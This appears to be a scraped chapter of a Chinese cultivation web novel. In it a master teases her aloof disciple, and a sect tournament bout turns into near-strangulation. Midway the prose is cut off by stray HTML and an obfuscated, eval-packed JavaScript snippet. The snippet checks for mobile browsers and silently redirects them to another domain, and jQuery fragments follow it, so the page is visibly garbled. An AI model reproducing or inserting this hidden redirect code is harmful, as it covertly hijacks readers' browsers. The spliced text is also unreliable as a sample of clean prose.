电蛇划过夜空,将漆黑的夜幕撕开璀璨的一角。
简安宁赶到姜檀所在之处时,雷鸣已然停歇,乌云渐渐散去,一片狼藉里,她一身月白衣衫迎风而立,似月华所化一般清冷疏离。
简安宁暗自点头,心道:不愧是我的弟子。
只见姜檀迎着月光冲着简安宁微微俯身,并道:“师尊也是来庆贺弟子突破的吗?”
简安宁点点头,她能感觉姜檀修为已经是金丹中期的水准。
“不愧是玉玄峰的弟子,以百年左右的年纪,便可突破金丹中期,放在哪里,都可称之为天之骄子。”
姜檀并没有被这番称赞冲昏头脑,很有些宠辱不惊的意味,不卑不亢地对简安宁回道:“师尊谬赞了,一切都有赖于师尊平日的指导。”
“你说我?”
简安宁不想继续这个商业互吹的尴尬局面,指着自己说道。
姜檀略微抬头看她,心道这个总要闹点幺蛾子出来,好不容易正常一会儿的师尊,又要搞什么事情?
“为师反而觉得,是你自己的努力更重要一些,”简安宁说着说着,语气中带上了一丝幽怨,又道:“毕竟不止一个人说过,你更适合去玉清峰和那群修炼狂魔一起了。”
姜檀:……
又来了。
她的师尊很在意她专注修炼这事,可分明她一次也没错过玉玄峰的集体任务,只是在没有宗门强制任务时,一直修炼而已。
“弟子既然已经拜入玉玄峰,必定不会再转投他人。”姜檀只能再次保证着。
简安宁颔首,看上去似乎是将她的话听了进去,然而下一刻,她便又道:“那你能经受得了考验?”
“那是自然。”姜檀极为坦荡地说着。
老实说,她当初拜入玉玄峰,确实并非像大师兄那般全凭自愿,但她既然已经在简安宁的庇护下成长到了金丹期,自然也不会去做欺师灭祖之事。
“很好,”简安宁敛去玩闹的神色,严肃地看向她,说道:“为师的洞府被你大师兄炸了,接下来得凑合和你一起住一段时间。”
姜檀:?
她可没想过是这种考验!
她一点也不喜欢和别人住在一处!
为了避免突破时的雷劫把她的洞府毁了,她特地挑了个远离自己洞府的地方闭关,但这可不是为了收留简安宁!
简安宁瞧见了姜檀面上一阵青一阵白,很是精彩的模样。
她还算了解这个二徒弟,看着冷漠不易接近,实际上也非常不好接近,大概是除了场面话之外说什么都会被噎回去的程度。
也没有半点和她与樊清越好好相处的意思,像是在一开始就非常固执在自己与其他人之间划下了一条线,对线外之人都是如出一辙的生疏。
简安宁觉得这样不好,决定帮她纠正一下这个毛病。
绝对没有二徒弟逗起来很好玩的意思。
“师尊,我的洞府也刚被雷劫劈了。”姜檀委婉地拒绝了简安宁的请求。
“可是,你真正的洞府并不在这,这是你为了闭关临时开辟的一处洞府。”
简安宁一边说着,一边有气无力地贴在了姜檀身上,泫然欲泣地说道:“难道你就忍心看着为师露宿荒野吗?”
姜檀显然不希望和人靠得这么近,她下意识地推拒着,心底万千思绪翻涌,终于想出了个办法。
“师尊,弟子给你修个新的洞府吧?”
还未等简安宁说些什么,姜檀已经迅速闪身离开。
徒留简安宁独自站在原地,神色中是肉眼可见的迷茫。
她方才悄悄地查探了一下,她这二徒弟身上,似乎确实有点异常。
简安宁挠了挠头,心道之前怎么没发现,姜檀以区区百年便修至金丹中期,剑指元婴,要么是天命所归,要么只能是另有原因。
显然,如果那本破书里所写内容是真的,那么真正天命所归的人是叶轻舟,不是她门下的任何一人。
简安宁叹了口气,追了上去,把去寻找材料的姜檀逮了回来,并道:“为师还有其他的事,洞府之事可以先放放,你先回去养精蓄锐,准备明日的宗门大比。”
姜檀有些疑惑,但还是听从了师尊的话。
而简安宁自己,则跑到了一棵树下。
寒冬腊月,树木的叶片都掉了个干干净净,但是雪花却也因此而停留在树枝上,故而皎洁的月光可以径直散落在树下的人身上。
她依靠在树干上,从怀中拿出来那本书,深吸了一口气,开始疯狂翻找有关姜檀的部分。
隔日,简安宁的眼睛已经布满鲜红的血丝。
她一把将那书扔在地上,又狠狠地踩了几下,这书看得她无名火都要冒出来了。
可偏偏,关于姜檀过去的部分,只有非常简单的一句话。
“瀛洲姜氏的嫡系,姜檀。”
简安宁知道,能割据一方的修仙世家都有些血脉传承,可是也没哪个传承是这么伤自己人的吧?
她可是觉得,姜檀都离全身经脉破裂不远了。
简安宁有心想仔细查明姜檀的情况,可她这二徒弟一贯是生人勿近,熟人也别离得太近的作风。
她陷入了苦思冥想,故而并没有注意到,其实宗门大比已经开始了。
青云宗的门人齐刷刷地汇聚在云霄峰上。
青云宗的大比按照修为排序配对,因为门人数量众多,所以负责主持大比的玉清峰弟子,尽可能地将相同修为的人安排在一起。
而比试也是按照从修为低的,向修为高的方向进行。
所以,首先进行的便是引气入体阶段的比试。
处于这一阶段的修士数不胜数,而只需要筑基期的修士看着,他们就不可能惹出大的乱子,所以云霄峰到处都是比试的斗场。
胜者与其他人再进行比试,败者就直接丧失资格。
即使青云宗的修士再多,打着打着,剩下的人也就会无可避免地聚集到一起。
比如此刻,叶轻舟看着眼前一袭红衣的陆绯。
叶轻舟暗自活动着筋骨,心道真是老天助我,他早就想教训教训这个不识好歹的人了,正愁没有合适的理由。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913070|176949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
刚刚步入修道之境的修士们的打斗,很少能够使用术法,故而大部分都是拳拳到肉,于能够飞天遁地的修士而言,这样的打斗多少失了些趣味。
就连负责裁判的修士都显得有些走神。
所以,无人注意到陆绯与叶轻舟过分焦灼的战斗。
叶轻舟没打算放过陆绯,也早就做了必胜的准备,却也没想到陆绯是个难啃的硬茬。
他本来不想把准备浪费在陆绯身上,但是,现下要是不用,恐怕他就要被陆绯暴打。
他们明明只是在用拳脚,然而叶轻舟眼底似乎爆发着熊熊战意,招式之中带上了灵力流转,已经隐隐约约有下个境界才能做到的趋势。
陆绯很快便落了下风,但叶轻舟没有半点适可而止的意思。
而恰好,陆绯也没有半点低头认输的意思。
于是,一边倒的局面开始向叶轻舟单方面凌虐发展,并且依然无人察觉。
直至,樊清越赶来,在叶轻舟掐着陆绯的脖子不肯松手的时候,出手将两人分开,又将陆绯护在身后。
他皱着眉看着眼前年纪不大的少年,说道:“青云宗比试向来点到为止,阁下这般是否太过分了?”
负责裁判的修士现在才回过神来,他略带惊愕地看着来此的樊清越,又看了看斗场上的叶轻舟。
虽然并没有弄明白发生了什么,但并不妨碍他裁决叶轻舟胜出。
樊清越闻言眉皱得更近,对斗场的修士说道:“此人在宗门大比中这般不顾同门之谊,这也能获胜吗?”
裁判修士能够感觉到樊清越身上金丹期的气场,他不敢怠慢,思绪在心底过了一圈,踩试探着回答道:“但是,我没看见?”
樊清越心中疑惑更甚,什么叫没看见?青云宗的修士从来都不可能是这样不负责任之辈。
他想了想,觉得问题还是出在与师弟对手的修士身上。
于是便问道:“你叫什么名字?哪个峰的?”
叶轻舟察觉到了对方似有不善之意,顿时换了一副面孔,做出不甘心之态,说道:“玉虚峰叶轻舟。”
“阁下又是什么人?不会单单只是因为自己师弟受了委屈,便来质问吧?”
“你!”
樊清越向来不喜唇枪舌剑的争斗,被叶轻舟噎了一把都不知道该如何回击。
陆绯也不太会那些舌灿生花的技巧,他从樊清越身后走出来,脖颈紫红掐痕与白皙的肌肤形成了过于惨烈的对比。
而后平静至极地说道:“你想杀我。”
裁判的修士感觉到事情有些不妙,连忙给负责戒律的玉虚峰传了音。
并道:“这其中是不是有些误会?”
叶轻舟也非常果断地就坡下驴,拱手说道:“大抵是打斗之时,失了分寸。”
樊清越不这么认为,就叶轻舟的力道,以及就算对方已经倒下不再反抗还继续掐着脖子的行为,怎么看怎么像故意的。
可是为什么?
叶轻舟和陆绯有什么深仇大恨吗?
裁判修士又为什么没有察觉异常?